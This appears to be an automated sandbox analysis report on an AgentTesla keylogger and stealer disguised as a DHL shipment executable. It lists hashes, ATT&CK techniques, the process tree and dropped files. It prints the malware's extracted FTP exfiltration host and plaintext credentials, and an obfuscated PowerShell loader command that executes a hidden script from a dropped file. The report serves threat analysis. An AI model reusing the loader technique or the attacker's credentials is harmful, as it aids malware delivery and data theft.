agenttesla | 913d5397ce4a8fec1f11babd3f96bb8fad63ed1b92e6e06522b0e3882933649a

Analysis

max time kernel
96s
max time network
143s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
23-01-2025 08:40

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General

Target

Dhl shipment documents 0002949400405000599500000.exe
Size

896KB
MD5

22a542bc1325916eb1816ebca91fb95b
SHA1

88320ab57b6542208dc82b87ba7372c2b43f6aac
SHA256

36188bc6b8b6ff6066410e82279f79a7fe8ce638fa0e3b684ff008276689f867
SHA512

f7ec8166ef7202cf9f0917c2c5f7215a7ef942250ccba67a4a5ecf16ffbe5f6370ba871baabb4cfb2bcaa403bb83fe5fc41a813e1f5400c8551796068407eec3
SSDEEP

24576:cQ2HggprreJ47AsXQLY21226O31A3Rh+1d:aHgfm3XQL+I3q3Rh+1d

Score

10^/10

agenttesla discovery execution keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: ftp
Host:
ftp://ftp.concaribe.com
Port:
21
Username:
[email protected]
Password:
ro}UWgz#!38E

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Agenttesla family
agenttesla

Blocklisted process makes network request 1 IoCs

flow	pid	Process
29	1528	msiexec.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3712	powershell.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
1528	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
3712	powershell.exe
1528	msiexec.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Fonts\hmningerne.Rer45	Dhl shipment documents 0002949400405000599500000.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4640	1528	WerFault.exe	96

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Dhl shipment documents 0002949400405000599500000.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3712	powershell.exe
3712	powershell.exe
3712	powershell.exe
3712	powershell.exe
3712	powershell.exe
3712	powershell.exe
3712	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
3712	powershell.exe

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	3712	powershell.exe
Token: SeIncreaseQuotaPrivilege	3712	powershell.exe
Token: SeSecurityPrivilege	3712	powershell.exe
Token: SeTakeOwnershipPrivilege	3712	powershell.exe
Token: SeLoadDriverPrivilege	3712	powershell.exe
Token: SeSystemProfilePrivilege	3712	powershell.exe
Token: SeSystemtimePrivilege	3712	powershell.exe
Token: SeProfSingleProcessPrivilege	3712	powershell.exe
Token: SeIncBasePriorityPrivilege	3712	powershell.exe
Token: SeCreatePagefilePrivilege	3712	powershell.exe
Token: SeBackupPrivilege	3712	powershell.exe
Token: SeRestorePrivilege	3712	powershell.exe
Token: SeShutdownPrivilege	3712	powershell.exe
Token: SeDebugPrivilege	3712	powershell.exe
Token: SeSystemEnvironmentPrivilege	3712	powershell.exe
Token: SeRemoteShutdownPrivilege	3712	powershell.exe
Token: SeUndockPrivilege	3712	powershell.exe
Token: SeManageVolumePrivilege	3712	powershell.exe
Token: 33	3712	powershell.exe
Token: 34	3712	powershell.exe
Token: 35	3712	powershell.exe
Token: 36	3712	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 2800 wrote to memory of 3712	2800	Dhl shipment documents 0002949400405000599500000.exe	83
PID 2800 wrote to memory of 3712	2800	Dhl shipment documents 0002949400405000599500000.exe	83
PID 2800 wrote to memory of 3712	2800	Dhl shipment documents 0002949400405000599500000.exe	83
PID 3712 wrote to memory of 1528	3712	powershell.exe	96
PID 3712 wrote to memory of 1528	3712	powershell.exe	96
PID 3712 wrote to memory of 1528	3712	powershell.exe	96
PID 3712 wrote to memory of 1528	3712	powershell.exe	96

C:\Users\Admin\AppData\Local\Temp\Dhl shipment documents 0002949400405000599500000.exe
"C:\Users\Admin\AppData\Local\Temp\Dhl shipment documents 0002949400405000599500000.exe"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2800
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle minimized "$Quarterdecks=Get-Content -Raw 'C:\Users\Admin\AppData\Local\Temp\Falsetstemmen\nonseparating\adjurors\Hvirvelbevgelsernes.Ikk';$Endothecal=$Quarterdecks.SubString(2893,3);.$Endothecal($Quarterdecks)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3712
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\SysWOW64\msiexec.exe"
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    PID:1528
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1528 -s 1528
      4⤵
      Program crash
      PID:4640

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1528 -ip 1528
1⤵
PID:1960

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Falsetstemmen\nonseparating\adjurors\Hvirvelbevgelsernes.Ikk

Filesize
73KB

MD5
af165b58e2cceb026d0baf83b9595cd0

SHA1
6ecce4d663557932f43c6073adf571765513ddf7

SHA256
363ac4b321b7c972b3d56c7f240e0c568a0403e59584c994572921c2800d56c4

SHA512
8edd36273c0f1ee785607ae6e5881d86778b1f5eeaaa49167186055f5eb93a603aa441a3ace01048db294e793c702f182a4865163311972afb46505e9c4aebb0

Download Submit
C:\Users\Admin\AppData\Local\Temp\Falsetstemmen\nonseparating\adjurors\Principalens.Gle

Filesize
325KB

MD5
51d0d3c20e7ead789be0befd1ac1a7f0

SHA1
44ef62be60f8ea6b36b06954f7ad16fc60fc7883

SHA256
239c12c044b0a23d94ccb374117b8518f07e99645e3644f06cd34bc0cd910141

SHA512
a7e881e82b8adf99feaf600fc695a201365434c3858a4e73c44f3193e37920a262ce665ffa21396e18e99f83dcdf6fc4c818e9d694d57e3f6155c453851648ce

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_itves5ny.1jp.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\dowdies.lnk

Filesize
906B

MD5
1e818ff72d4125305b6497263f7adb88

SHA1
664b11e44c7201edc030b6bc5052440bf36dcd58

SHA256
677a676ff44ea03e8f95c872f8a33b27d7b5b40ce659de91d6c765836992f5dd

SHA512
6515ef0635b87769349bef21533cc7169edf9cc184c80638e836f2b1b35fecb95e985e19848d6f792062d172f3da92d1b87cb76c0053fd220f2455c1da55f72b

Download Submit
memory/1528-217-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/3712-193-0x0000000007760000-0x0000000007803000-memory.dmp

Filesize
652KB

Download
memory/3712-196-0x00000000079E0000-0x00000000079F1000-memory.dmp

Filesize
68KB

Download
memory/3712-160-0x0000000005BD0000-0x0000000005C36000-memory.dmp

Filesize
408KB

Download
memory/3712-161-0x0000000005C40000-0x0000000005CA6000-memory.dmp

Filesize
408KB

Download
memory/3712-158-0x0000000073730000-0x0000000073EE0000-memory.dmp

Filesize
7.7MB

Download
memory/3712-164-0x0000000005CB0000-0x0000000006004000-memory.dmp

Filesize
3.3MB

Download
memory/3712-172-0x0000000006310000-0x000000000632E000-memory.dmp

Filesize
120KB

Download
memory/3712-173-0x0000000006340000-0x000000000638C000-memory.dmp

Filesize
304KB

Download
memory/3712-174-0x00000000073B0000-0x0000000007446000-memory.dmp

Filesize
600KB

Download
memory/3712-175-0x0000000006800000-0x000000000681A000-memory.dmp

Filesize
104KB

Download
memory/3712-176-0x0000000006880000-0x00000000068A2000-memory.dmp

Filesize
136KB

Download
memory/3712-177-0x0000000007A00000-0x0000000007FA4000-memory.dmp

Filesize
5.6MB

Download
memory/3712-157-0x0000000073730000-0x0000000073EE0000-memory.dmp

Filesize
7.7MB

Download
memory/3712-179-0x0000000008630000-0x0000000008CAA000-memory.dmp

Filesize
6.5MB

Download
memory/3712-180-0x0000000007510000-0x0000000007542000-memory.dmp

Filesize
200KB

Download
memory/3712-181-0x0000000073730000-0x0000000073EE0000-memory.dmp

Filesize
7.7MB

Download
memory/3712-182-0x000000006FBB0000-0x000000006FBFC000-memory.dmp

Filesize
304KB

Download
memory/3712-156-0x0000000005530000-0x0000000005B58000-memory.dmp

Filesize
6.2MB

Download
memory/3712-192-0x00000000074F0000-0x000000000750E000-memory.dmp

Filesize
120KB

Download
memory/3712-194-0x0000000073730000-0x0000000073EE0000-memory.dmp

Filesize
7.7MB

Download
memory/3712-195-0x0000000007880000-0x000000000788A000-memory.dmp

Filesize
40KB

Download
memory/3712-159-0x00000000052C0000-0x00000000052E2000-memory.dmp

Filesize
136KB

Download
memory/3712-197-0x0000000007FE0000-0x0000000007FEE000-memory.dmp

Filesize
56KB

Download
memory/3712-198-0x0000000007FF0000-0x0000000008004000-memory.dmp

Filesize
80KB

Download
memory/3712-199-0x0000000008030000-0x000000000804A000-memory.dmp

Filesize
104KB

Download
memory/3712-200-0x0000000008020000-0x0000000008028000-memory.dmp

Filesize
32KB

Download
memory/3712-201-0x0000000008030000-0x000000000805A000-memory.dmp

Filesize
168KB

Download
memory/3712-202-0x0000000008060000-0x0000000008084000-memory.dmp

Filesize
144KB

Download
memory/3712-203-0x000000007373E000-0x000000007373F000-memory.dmp

Filesize
4KB

Download
memory/3712-204-0x0000000073730000-0x0000000073EE0000-memory.dmp

Filesize
7.7MB

Download
memory/3712-205-0x0000000073730000-0x0000000073EE0000-memory.dmp

Filesize
7.7MB

Download
memory/3712-206-0x0000000073730000-0x0000000073EE0000-memory.dmp

Filesize
7.7MB

Download
memory/3712-207-0x0000000073730000-0x0000000073EE0000-memory.dmp

Filesize
7.7MB

Download
memory/3712-155-0x0000000002CA0000-0x0000000002CD6000-memory.dmp

Filesize
216KB

Download
memory/3712-209-0x0000000073730000-0x0000000073EE0000-memory.dmp

Filesize
7.7MB

Download
memory/3712-210-0x0000000073730000-0x0000000073EE0000-memory.dmp

Filesize
7.7MB

Download
memory/3712-211-0x0000000073730000-0x0000000073EE0000-memory.dmp

Filesize
7.7MB

Download
memory/3712-212-0x0000000008CB0000-0x000000000EA66000-memory.dmp

Filesize
93.7MB

Download
memory/3712-213-0x0000000073730000-0x0000000073EE0000-memory.dmp

Filesize
7.7MB

Download
memory/3712-215-0x0000000073730000-0x0000000073EE0000-memory.dmp

Filesize
7.7MB

Download
memory/3712-216-0x0000000073730000-0x0000000073EE0000-memory.dmp

Filesize
7.7MB

Download
memory/3712-154-0x000000007373E000-0x000000007373F000-memory.dmp

Filesize
4KB

Download